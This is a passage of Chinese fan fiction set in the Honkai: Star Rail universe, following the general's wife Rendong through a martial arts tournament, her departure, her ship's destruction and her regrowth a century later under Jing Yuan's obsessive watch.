她没有阻止,这么近,该听到的也听到了。
“师娘!怎么了?!/忍冬?/忍冬小姐?”一连串的呼喊自远及近。
面对忍冬那得意挑衅的眼神,飞霄扶额叹气,第一次深深的同感了自己一直不听医嘱,还死教不改而对此忧虑恼火的椒丘。
真的……这副故意的样子就够讨打了,她日常那副听椒丘念叨而无所谓的脸……大约更讨打吧……
飞霄深深的反省自己,而那边闻声聚过来的人围着忍冬来来回回转了好几圈,见她无碍才放下心来询问事情缘由。
虽然有不熟的三月七和丹恒,但剩下的都是忍冬很熟的人。在熟人面前,忍冬一向不吝于暴露自己的“丑陋”面目。
她手指唰的一下指向飞霄,满脸悲痛的控诉道:“她,敲我脑袋!敲我一个八百岁老人家的脑袋啊!万一老年痴呆怎么办?我深刻申请,我要敲回去!!”
“啊……这个……”最着急的彦卿看天看地,就是不看忍冬。白露也一脸沉迷的望着她来过许多次,也看过了许多次的水池,好像那水面波纹藏着什么大秘密一样。
云璃担忧的脸瞬间空白,以一种第一次见面的神情盯着忍冬。
三月七尴尬的低头扣手,丹恒宛如稳坐钓鱼台,全然不动声色。
只有星,瞬间来劲,满脸兴奋的大喊,“好!!我帮你!”,被三月七和丹恒两人联手镇压。
飞霄闻言,又笑了。她笑看着忍冬瞪着她的眼睛,走近。
彦卿和白露手足无措,试图挡着忍冬不让她靠近。但作为几人中最高的人,飞霄很轻易就越过了没怎么出力的他们,站到了忍冬面前。
“要敲回来?”飞霄问。
她声音中的兴味,在场的人都听了出来。彦卿和白露提起的心放下了,而对飞霄很了解的云璃则是早已转身走出了这片嬉闹场,去光顾自己刚丢下的点心盘了。
忍冬看着飞霄,眼神迟疑了起来,她迟缓的点了点头。然后,飞霄低下了头,把脑袋凑到了忍冬面前,“敲吧,敲完我们接着谈事。”
忍冬的手举也不是,放也不是。毕竟是她自己搞的这一出……
她睨了飞霄低下的脑袋一眼,事先声明一般的撇清责任,“是因为你先敲我脑袋,我才想敲回去的。虽然用势压你不对,但你自己愿意,不能事后找茬啊?”
飞霄的狐耳抖了一下,干脆的答应了,还催促她快点。
忍冬轻轻的、轻轻的,在她头上敲了一下。以她自己看来,绝对没有之前飞霄打的重。那么,这件事就两清了。如果飞霄之后要找茬的话……她就可以找景元给她站台了!
哼哼~不愧是她!
忍冬在心里一番鼓吹,刚昏头搞出这一局面而稍感内疚的心又很快飞扬了起来。
她看向还围着的几人,笑嘻嘻的叫彦卿带人回去,顺带从怀里掏出了一个小袋子丢给了仍旧蠢蠢欲动的星,“这个之后还有,如果星乖乖回去的话。”
星眼神晶亮,大力把被丹恒锢住的手抽了出来,伸手一接。沉甸甸又细微的石头撞击声,在星听来,这简直如同天乐!跟星期日的七休日不相上下的让她快乐!
她立马站直,脸大力一歪,把嘴从三月七的手下抢了出来。嘴角顶着暴力反抗的红痕,挺胸敬礼,“保证完成任务!!”
说完,扯着两位同伴雄赳赳气昂昂就走。
之后,忍冬就跟飞霄详谈了一下情况。在了解了赤月的用途之后,她果断……把人推荐给了黑塔。
面对飞霄迷惑的眼神,忍冬讪讪而铮铮有词,“反正她都知道很多了,再知道一些也无事…
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…毕竟你的战力也算在我这方,黑塔大约不会那么不理智,把这些未完成的项目透露出去……”
“你还跟那位黑塔女士有其他合作?”飞霄问。
忍冬点头,拒绝以言语透露。
那可是真多,毕竟她可是第一个发现我的能力后直白找上来合作的……
飞霄这边完结,另一边,真正的演武仪典开始了。
彩球飞扬,欢呼震天,南来北往的各种族来到了罗浮,参加这一场弘扬罗浮雄备武力的节庆。
忍冬不爱关注这类比武赛事,只不过贝洛伯格的卢卡要参加,她稍稍关注了几分。
毕竟……
忍冬低头,看向了这本相册中装载的其中一张照片。
那是年少的景元与一个人的合照。
听他说,这个人叫伊戈尔,是七百年前来罗浮参加演武仪典的贝洛伯格人。
……也是,景元的朋友。
忍冬合上这本相册,把它放回了景元的书架上,转身阖上书房的门,走向了天空中竞锋舰的方向。
这届赛事忍冬虽没多少关注,但玉兆上不断弹出的相关词条,还是让她一窥此次参赛者的多元和来历精彩。
之前,卢克就曾与人对战输过,但在复活赛又重新冲向了决赛。
忍冬的这次出行,主要是为了去看这最后一场决赛,彦卿VS卢卡。
忍冬走进赛场,找到了景元给她准备的座位,就在他的观赛台旁边,距离很近。
她看了一眼温柔注视着赛场的景元,别过头望向赛场的嘴角也露出了一丝笑容。
少年啊……
出于对对手的尊重,彦卿放弃了使用飞剑。他与卢卡拳脚相搏,来来往往。
可对彦卿很了解的忍冬知道,这局比赛,输赢早已注定。
卢卡输了,就算彦卿没有用自己最擅长的飞剑。
他被击倒了,在演武仪典的冠军出来之前。但彦卿向他伸出了手,卢卡迟疑了一下,搭了上去。
少年们相互扶持着,勾肩搭背灿烂的笑着,这副样子,逐渐跟那张照片重合。
少年啊,合该意气风发才是。不断向前,不断试错,跌落低谷,重整再起。
“七百年前,他说他为了拯救家乡而来,却失望而归。当时我未能有机会帮助他,只能沉默以对。但现在,为时不晚。”
景元不知什么时候坐到了她身旁,没有指明对象,倾述的嗓音低沉释然。
他望着彦卿跟卢卡的身影,怀想起了当年的那个青年。
也是如此红发似火,生机昂扬,也是这般为了家乡而来……
景元看向忍冬,眼角的泪痣随着笑容闪动。他说:“夫人,我们下次再去贝洛伯格吧~”
“好。”忍冬拉过景元的手,笑着紧捏住。
自此,罗浮的演武仪典落下帷幕。
自此,贝洛伯格行政区的历史文化博物馆收藏了一张少年们的照片。
红发青年搭手在白发少年肩上,两人笑着看向镜头,面容灿烂。
坚韧的文化孕育坚韧的灵魂,而坚韧的存在从不会轻易消亡。
贝洛伯格与仙舟自演武仪典之后,结下了外交盟约。
56.再启航
时间慢慢流淌向前,此后的罗浮虽也遇见几次事故,但都有惊无险。
景元的将军位在无变故的情况下,暂时无法卸下。他仍旧在岗位上兢兢业业,而身后站着劳模般虎视眈眈的符玄符太卜。
彦卿在一场场出色的征伐中,逐渐成为了罗浮云骑和大众敬佩仰望的未来剑首;白露在灵砂的带领和众人的保护下,医术逐渐闻名,传到了寰宇各个角落。就连停滞的幼女身材,也开始逐渐拉条长大。
艾莲娜自折纸大学毕业后,选择了继续学术深造。跟了一位学识满满而毒舌的导师,飞跃在寰宇各处进行学术研究,顺带深造武艺。
卡卡瓦夏依旧留在公司,但他积年累月攒下的功绩已经无法让公司高层无视他的意愿,成为了一位随意的限制版赌徒(因为姐姐和养母看得很严),游历四处出手阔绰的公子哥。
就连四处摸鱼的青雀,也由符玄带着开始了熟悉太卜司的一切事务。
时间一直往前,忍冬虽每日在镜面中见到同一张年轻的脸,但她还是渐渐感到了岁月的变迁。
年轻时,她也时时被岁月裹挟。但那时,同样年轻的心尚还不落尘埃。不同此时,金人巷的高阿姨退休回去带孙女了,都让她躲着哭了一场。
忍冬自己是一直紧跟着时代走的。不然一个写手如何能同感读者的想法,让他们喜欢甚至感同身受她的故事呢?
但物是人非之感对看过了变迁的老人家来说,还是永远无法排解啊……
“那要出去看看吗?”找到她的景元静静坐在她身旁,让她靠着他的肩膀,冷静的问。
忍冬抬头看他,那双红肿着眼泡的碧眼看起来很滑稽,通红的鼻尖耸动皱起。她的鼻腔堵塞,微张着口呼吸,脑袋有点晕乎乎的,眼圈也一片灼热。
她问景元:“出去哪儿?”
景元向她的眼睛伸手,印象中一直温热的手指搭上眼皮时,是一片温凉。他让饱受刺激的红肿眼眶有了一点冰凉,也让难受的忍冬有了一丝舒缓。
他看着闭眼的忍冬眼眸沉沉,心疼中闪过几分执拗,明亮的金黄色眼瞳此时在情绪的影响下变成了暗橙色。
他说:“去黑塔空间站,去雅利洛,去匹诺康尼,去庇尔波因特……还可以去茨冈尼亚,去E-703。寰宇之大,你哪里去不得?”
闭着眼的忍冬破涕而笑,她睁开眼,看着景元表现与话语完全不同的神情,打趣着问他,“你舍得吗?让我走。”
“不舍得,但你很难受。”景元轻抚过忍冬的脸侧,眼眸还是那般沉重,一点儿也不掩饰自己提出这个提议的不开心。
忍冬拉住景元的手,攥着固定在脸侧,脸颊轻轻靠上去。抬起那双已经在仙舟人体质下开始消肿,渐渐恢复原来样子,只余一点红痕在眼尾的眼睛,探究的望着他。
“景元,你这样子……我真怕我走了之后,你会突然黑化把我抓回来关小黑屋欸~”
忍冬眯着眼调笑他,脸颊轻蹭他的手心,眼里闪着明确被偏爱的自在,笑着露出自己的牙齿。
其中门牙旁的一颗,稍稍有点尖锐的形状,是人们常说的虎牙。但忍冬的虎牙却没有真的虎牙那般尖锐,看起来钝钝的,啊呜咬在景元的掌侧,除了留下一点残留的晶莹,连红痕都没留下。
景元没有说话,只是伸指捏住她的脸肉,一挤,嘟起了一张金鱼嘴,就差咕噜噜吐泡泡了。
“只要你还会回来,这种设想就不会发生。”
忍冬嘟着的嘴猛吹出一口气,通过变窄的口腔,带出尖锐的哨鸣。吹开了景元挡着一侧眼睛的长发,露出了另一只同样凝神看着她的眼睛。
“唔……不、反驳吗?”嘟着嘴说话真的很滑稽,反正她看见景元眼里闪过的笑意了。她瞪着他,张嘴试图侧脸去咬他的手。
刚才没有用力,这次得让他看看她生气的样子!
景元及时抽手,忍冬的牙齿嵌合在空气中发出了很大一声清脆的撞击声。声波透过牙龈,传达到大脑,带来了一阵细微的震感,让她的脑子一时反应不过来。
景元的眉眼总算呈现了笑容,他闲适的睨了一眼呆懵的忍冬,轻飘飘甩了甩手,恢复了神策将军的腹有谋算之相。
他从身侧的茶壶中倒出了一杯茶,茶汤碧绿,清香幽苦。手捻着那同样青碧的瓷杯,眉眼含笑,对着呆懵的忍冬喝下了一整杯茶水。
“夫人~该回神了~”
忍冬眼神一怔,恢复了清明。她不善的睨着景元手中空掉的茶杯,看那眼神,约莫是琢磨着想把茶杯抢过去。
“那我真的出去玩了?!你自己在家哦?”
景元不置可否,又倒了一杯茶,指尖轻点着桌面,思索说:“星海号全套设备也更新换代了,夫人外出不必担忧。黑塔女士诚挚支持的技术,可以保证夫人在令使战力之下,也可在星海号的护送下逃生。”
“这段时日出去也好,列车已经把断掉的大部分银轨重新接通了,出去也不怕断掉联系。”
景元说着很多宽慰的话,但他的眼神落在手中的茶杯上,好久都没眨一下眼。
忍冬看着他,担忧的心又占据了上风。
“现在我不走,起码得让手中的研究项目得出阶段性成果,你不会在我没回来之前堕入魔阴身才行。”
景元看着茶杯的眼睛眨了一下,抬起头看她,浑身的气压明显轻快了起来。
“夫人不走吗?但虚陵那边的动作开始加快了欸?”
忍冬点点头,心情也由景元的话沉重了起来。
这段时日,她也不是在无所事事。
对自身能力的探索和运用,她在黑塔的帮助下也算是得心应手了。
所以,通过她能力开发的应对魔阴身的药物效力更为明显。更别说前段时日,由她与丹鼎司的灵砂司鼎联手发布,黑塔飞霄暗中协助,研发的彻底解决狐人【月狂】症状的特效药已经获批上市……
这事虽是灵砂顶在最前面,但她是瞩目的司鼎,是仙舟医学界当代镇守门楣之人,其下更有衔药龙女站队……
与她对比,她这个老早离开丹鼎司,靠摆摊行医和写不入流小说的“低俗”将军夫人,大约是更好拿捏的软柿子。
更别说景元一直明里暗里拒绝那些老东西插手罗浮,这也是他们找借口针对她的“罪”吧。
忍冬沉沉叹气,瞪了景元一眼。心里哀叹,男色啊……真是色胚难过的难关,更别说是像循着她的
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审美长的男色……
“别欸了,你高兴就笑,憋着做什么?”忍冬见机伸手抢过他手中的茶杯,一口全给他喝完了。放下茶杯,瞪着看景元的唇角一点点勾起。
“景元是高兴夫人暂时不走~绝不是为那些老古董找夫人麻烦高兴,景元生气还来不及呢~”
“所以你还坐在这里干什么?还不回去上班,给我解决这件事?要你夫人气急了,来一场强抢罗浮将军的戏码吗?你想如你那老友师父们,登上仙舟通缉令?”
“夫人啊~”景元轻叹,脸上浮现无奈的笑意,“你这一生气就喜欢戳人心窝子的习惯到底是哪儿来的啊~好好,景元这就走,给夫人鞍前马后去~”
景元走出了小院,此时日光灿烂,万里无云,正是罗浮上班族沉溺在焦躁的文件中之时。
可刚从这里走出去的大白猫,却能偷得浮生半日闲。在上班时分回家来,发现她哭过后,还以逗弄来宽慰她。
真是……“幼稚得很。”
时间又过去了很久,大约五六年。
这次,忍冬总算能无顾忌的出门玩了。
列车已经不知道开拓到寰宇哪个位置,忍冬这几年只能等那只花心小浣熊想起她来的时候,才能得到一点列车的消息。
而忙碌在不知名地方,翻着不知名垃圾的小浣熊星小姐,虽会每隔一段时日来找她拿给她收集的石头,但也每次匆匆来,匆匆走。连话也很难说上几句。
忍冬也要踏上跟她相同的开拓之旅了。
“我先去拜访空间站、雅利洛和匹诺康尼,大约会花一年左右的时间。你退休了就赶紧过来找我,如果赶不及,那就下个目的地见。”忍冬对景元细细嘱托道。
接着,她望向这些年越发沉稳,锋芒内敛的彦卿。对他此时露出的可爱哭哭眼勾唇,“彦卿也是,到时记得催催你师父,莫要让他懒性占据上风,让我好等。”
“好……”彦卿的身形如同白露一般,这些年也在长大。可仙舟人的寿命长,没个一两百年,她大约是看不见彦卿成年的样子了。
但此时抖着嗓子,眼含泪水的小孩模样,还是带着以往的影子啊……
“也莫哭,师娘我只是出去玩玩,到不想动了,大约会跟你师父一起回来养老的。怎么说也是我们的家,我们怎会不回来呢?”
最后,忍冬低头,看向抱着她的腰不撒手的白露,无奈更甚,“白露你也是~我是出去玩,又不是生死离别。你拖着我的腰,我也无法带还没成年的你出去啊~”
景元看着白露笑得灿烈如花,极端明艳。对此很有眼力,在这些年转变成白露的挂名监护人的灵砂微笑着插入,伸手把白露从忍冬的腰上扒拉了下来。
“哦……”白露乖乖的没有反抗,低落的应了一声。
一切准备妥当,新朋友老朋友都通知过了,忍冬要启航了。
星海号经由黑塔贴合忍冬能力的改造,已经算得上是她的另一把武器了。在不启动时,它如同挂在景元腰间的小藤球一样,像有着蓝色纹路的金属小球挂在忍冬腰上。
但启动时,就如植物迎风而涨,变成了一艘庞然大物。
它载着忍冬,宛如一道流星,划过了天际。
57.百年后
剧烈的爆炸,灿烈的火光,迎面的冲击波,源源不断从远处围绕过来的密密麻麻小型飞舰……
光亮不知何时从眼前消失了。
……
“这、这……!”匆匆赶到这里的九尾狐人眼含惊惧,试图从自己驾驶的小型飞槎上跳到那艘破败燃着火光的中型飞舰上。
但轰隆一声,燃烧的飞舰不知何处又发生了爆炸。冲击波把她的飞槎推得远远的,无法让她再有条件跳到上面去。
停云还不想放弃,慌忙翻找着飞槎上存储的钩索。但等她找到回头,飞舰周身早已四处燃起了冲天火光,熊熊如烈日,快速西沉向下方出现的黑洞。
“不!”停云晃神,手中的钩索落下。
她还想阻止,几步前迈,急速按下了飞槎操作键盘上的激光迫击炮。试图用激光的推力,把飞舰推出黑洞的牵引范围。
可激光击中了飞舰,却没有把它推出来。
它依旧在坠向黑洞——撕裂空间,吞噬光线,有死无生的黑洞。
它势不可挡的落了进去,像宽广湖面悄然绽起的不起眼小水花,只在人的眼膜中留下了最后能量燃烧的蓝色余韵。
……悄无声息的没了踪影。
周边得到停云消息赶来的无数飞舰中,为首且也最大的飞舰最前方甲板上,站着一个白发男人。身姿挺拔,气势冷冽,是罗浮谁也不会忘记的现任神策将军,景元。
……也是那艘飞舰遇难者的丈夫。
停云怔愣望着那个开始转移,逐渐缩小的黑洞,垂在身侧的白皙指尖抖了抖。
又一次……
她疲惫垂下了眼,那双翠绿的眼瞳中哀怜深深。
与她本该拥有的擦肩而过……
站在护卫舰船头的彦卿死死捏着手中飞剑,手背青筋蹦起,隐有血色从指缝中渗出。
他看着那已消失了踪影的黑洞,眼神空茫,迟迟反应不过来发生了什么。
身体的本能反应在怒吼着杀掉造成这些的该死丰饶孽物,但大脑却一片空白。
眼泪不知何时滑落,一滴,一滴,从少年剑士的眼中茫然坠下。
“师娘……?”
紧赶慢赶赶来的星,此时也无法插科打浑着插进这片沉痛的气场。
虽然看起来好像事实已定,但她并不悲伤,毕竟她确信自己是主角。
而主角,一向是心想事成!忍冬才不会死呢!她还没进卡池啊!
这么想着,可那双向来神情奕奕的双眸却固执沉默的瞪着黑洞消失的地方。
列车上所有人也沉默着。
“呜啊、呜呜呜……”在列车组之后被灵砂带来的白露眼睛通红,泪珠不断滚落。她难耐呜咽了一声,但很快自己捂住了嘴。好像不哭,这一切都没有发生。
可压抑的抽泣还是从指缝中钻出,像爬满心口的小蚂蚁,密密麻麻的疼。
沉默,肃穆,缭绕的悲哀。
这是百年前罗浮发生的一场极大变故。
“老师!之后发生了什么?”罗浮学宫中,一个满脸青涩的少年好奇举手发问。亮闪闪的眼睛中,盈满了想听完故事结局的蠢蠢欲动。
“后来啊……”笑着把这件事拿出来勾起学生学习兴趣的老师笑眯了眼,乐淘淘的在全班学生期待的目光中继续讲了下去。
后来,罗浮协同曜青,对造成此事的丰饶余孽发起了长达百年的围剿。
在平和了六百年的罗浮,那一场公然袭击点燃的情绪,无异于直接当着仙舟人的面说他们是寰宇最大的丰饶民!
更别说……
文质彬彬的老师叹了口气,看着书本上浮于表面的记载,悠悠的,再次为人类这一种族的善忘悲哀。
刚才的少年又举起了手,眼瞳更为炽热。他问:“老师!剑首大人那个时候什么样啊?是不是已经像现在这么厉害了?”
“对啊,将军大人在这其中出了很大的力吧?!我最崇拜她了!我打算循着将军的足迹,考入太卜司!然后一步步让将军赏识我,成为下一位将军!”又有少年高声呼喊,脸上带着兴奋的绯红。
班级气氛一说起剑首大人和将军大人,顿时热烈了起来,就如同遇水油锅,响得剧烈。
老师咳了好几声提醒,少年们都没反应。不得已,她摆出了一张韫怒脸,高声喝止了他们。
上课继续。
下了课,老师晃悠悠走出教室。提着历史教科书的一角,走回了自己的办公室。
但当进入自己的办公室,坐下,抽出抽屉打算批改另一个班的课后作业时,却触及了抽屉内一张保存得很好的照片。
那是烽烟缭绕的战后废墟,她跟几位当时一同服役的同僚坐在沙地上,埋头端着碗吃得正投入。飞行士边营那个新来的小家伙看见这场面,拿着自己最爱的相机就把这一幕留了下来。
到打印出来的时候才发现,最上角的地方,距沙地不远的小树林边,景元将军正站在那儿。
模糊的影像中,他嘴角好似还带着那六百年常对民众的笑意,头顶也还窝着那几只团雀。可定睛一看,他眼里却是一片空茫……
将军夫人啊……那是一位她生前没有了解,死后却让仙舟众人感然佩服的人物……
老师想到这,从抽屉里掏出了一个小瓷瓶,倒出了一粒药丸干咽了下去。
她浅扫过瓶身,对那药名早已了然于心。现在很多,将来也会有很多的仙舟人也会对这个药名记得宛如牢不可破的习性——忍冬镇魔含片。
忍冬,是药名啊……
不知景元将军如今又在何处呢……
E-703,一颗渺小,破败,了无人烟的小星球。它当然有人类的生存条件,但却是最低级……
黄沙漫漫,植被稀少,就连水源,也是全星球难得一见。
在八百年前的那场仙舟与丰饶民的战役中,这里不幸成为了主战场。随着战事的推进,这里当时仅存的几个小型人类部落或衰败或搬离,只留下了一些残存的痕迹。
而就在这千里无人烟的地方,漫漫黄沙的中心,却在八百年后孕育出了一处百里的巨大湖泊。
湖泊边绿草成茵,织成了一片巨大的地毯。在这地毯最靠近东边的地方,矗立着一栋木制小楼。
小楼掩映在成片绿竹中,却在小楼前方留下了一大片的空旷。
但今天,这片空旷处有一颗小小的绿芽钻出了地面。
白发青年拖着一把躺椅放在绿芽前方,手持着一颗枯黄的空心藤球,眼睛一眨不眨,一直盯着它。
直到太阳西垂,漫天红霞,他又进门拖出了一圈铺盖,当场在绿芽身边躺下了。依旧侧身紧盯着它。
青年虽白发,但面容年轻,眼神闪着熠熠光辉,其中的灼热直扑绿芽。
时间就这么转动着,日升月落,阴雨朗日,这青年就这么一直清醒的盯着绿芽,没有半分错眼。
绿芽渐渐长大,在短短三月内就长成了这里最高大的树木,凝结全力结出了一个果子。
透明的果肉里,一个赤裸的少女正在酣睡。
青年眼里的炙热更为浓烈,唇角也挂上了满足的笑意。他依旧每日不落的守在这里,怔怔望着里面的少女,痴态明显。
直到……E-703上难得迎来了一艘飞槎。它直直向这里飞来,但又很快识趣的停在了湖泊的对面。只能远远看见这里的样子,却看不清晰。
青年热烈的表情一垮,很明显的不高兴。但想到来的那几个孩子,他还是不得不收拾好自己这些年逐渐偏执的情绪,以一副正常的样子去打发了他们。
青年一步三回头的走出
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小楼前院范围,在正式踏出自己种植的竹林时,青年按下了手中的操控键。能量蓝屏猛然上升,笼罩住了小楼和竹林,当然也包括长大了的绿芽。
青年来到湖岸,眉眼含笑,轻声问这些孩子,“怎么又来了?”
其中一个持明少女不安的看向旁边两人,悄然对视了一眼,很快如常错开。然后,他们都把期待的眼神压到了站在最前方的青年身上。
青年长相妍丽,穿衣奢华雅调。一看,他自己包括全身,都是很贵的长相。
砂金唇角笑意如蜜,那双绚丽的眼瞳灿烂如星。他说话了,声音动听却难掩其中的亲昵。
他说:“叔叔~你就让我们去看一眼忍冬妈妈吧~一百年了,若不是我与姐姐在命途上有成,忍冬妈妈醒来见到的大约就是我俩的坟头了~您不能这么自私。”
“我就是这么自私。”景元笑容如旧,温声细语的说出了内心真实的想法,“我不想让你们见她。”
又是这么直白……
站在砂金身后的彦卿忍不住了,越过砂金站到了景元面前。满眼担忧的递过了一个小瓷瓶,“将军,这是丹鼎司研发的最新型镇魔含片,您吃一颗吧。”
景元伸手接过,在手中掂了掂,眼神悠悠落到彦卿脸上,满含欣慰。
“你长大了呢,彦卿。”
彦卿下意识站直,一向沉稳的罗浮剑首嘴角泄露了孩子般的高兴笑意,“是!将军!”
景元眼神落到手中的瓷瓶上,神色晦暗,说出的话却是洒脱的打趣,“这话岔了,我可不是将军了~符卿听到大约会给你穿小鞋哦~”
彦卿眨眨眼,长大后带着风雅气的俊秀外表露出了一个会心笑意,“符玄将军只会更多给我分配任务。穿小鞋的话……大约还是青雀太卜更多吧~”
景元在四人紧盯的视线下倒出了小瓷瓶中的一粒药丸,喉咙滚动吞下。他张开手示意,顺带收起了手中瓷瓶,笑容依旧,但冷了几分。
他说:“药我吃了,诸位该走了。”
翻脸无情,情绪波动依旧剧烈,但稳定可控。
一路跟来,但与艾莲娜一同沉默不语的白露,对这次探访写下了与十年前同样的结果。
她隐秘望了一眼湖对面仅能看见的一栋小楼和包围的竹林绿植,神情沉重的低下了头,没有再试图探寻。
艾莲娜也一直担忧的看着景元,但却无法开口。
怎么说呢?连他们都对这个消息纠葛痛苦了六十多年,更别说与忍冬妈妈走过了六百多年的叔叔了……
可他们当时,真的以为叔叔看得很开……
星海号失事第一年,罗浮对本仙舟上下进行了彻查,誓要揪出全部残留的丰饶余孽;第二年,罗浮与曜青结盟,共同加入了对丰饶民的征讨;第五年,景元将军亲自出征,协同曜青大捷将军一同杀灭了导致星海号事件发生的那一撮丰饶民;第十年,以疲拖战事为饵,诱出了仙舟上层与丰饶民勾结的奸细,元帅大怒,借口彻查仙舟上下……
之后,罗浮的神策将军成为此次彻查的主导,对仙舟上下近几千年的腐朽之处借机进行了大刀阔斧的改革。
自此,仙舟内外焕然一新。
但此次行为实在过火,景元将军面临了联盟的追责。
然而在曜青、朱明几艘仙舟将军的力保下,元帅“不得不”宣布,景元的将军位撤销,由罗浮符玄太卜接替。
一切,尘埃落定。
可全程看起来很明智,谋划入骨三分的景元,却在撤职的当天无声无息消失在了仙舟……
谁也找不到他。
直到十年前,砂金和艾莲娜突如其来想去探访茨冈尼亚。顺带着想起了忍冬的故乡,E-703星球,这才发现了这里突然出现的巨大湖泊,和……守着一颗种子十年的景元……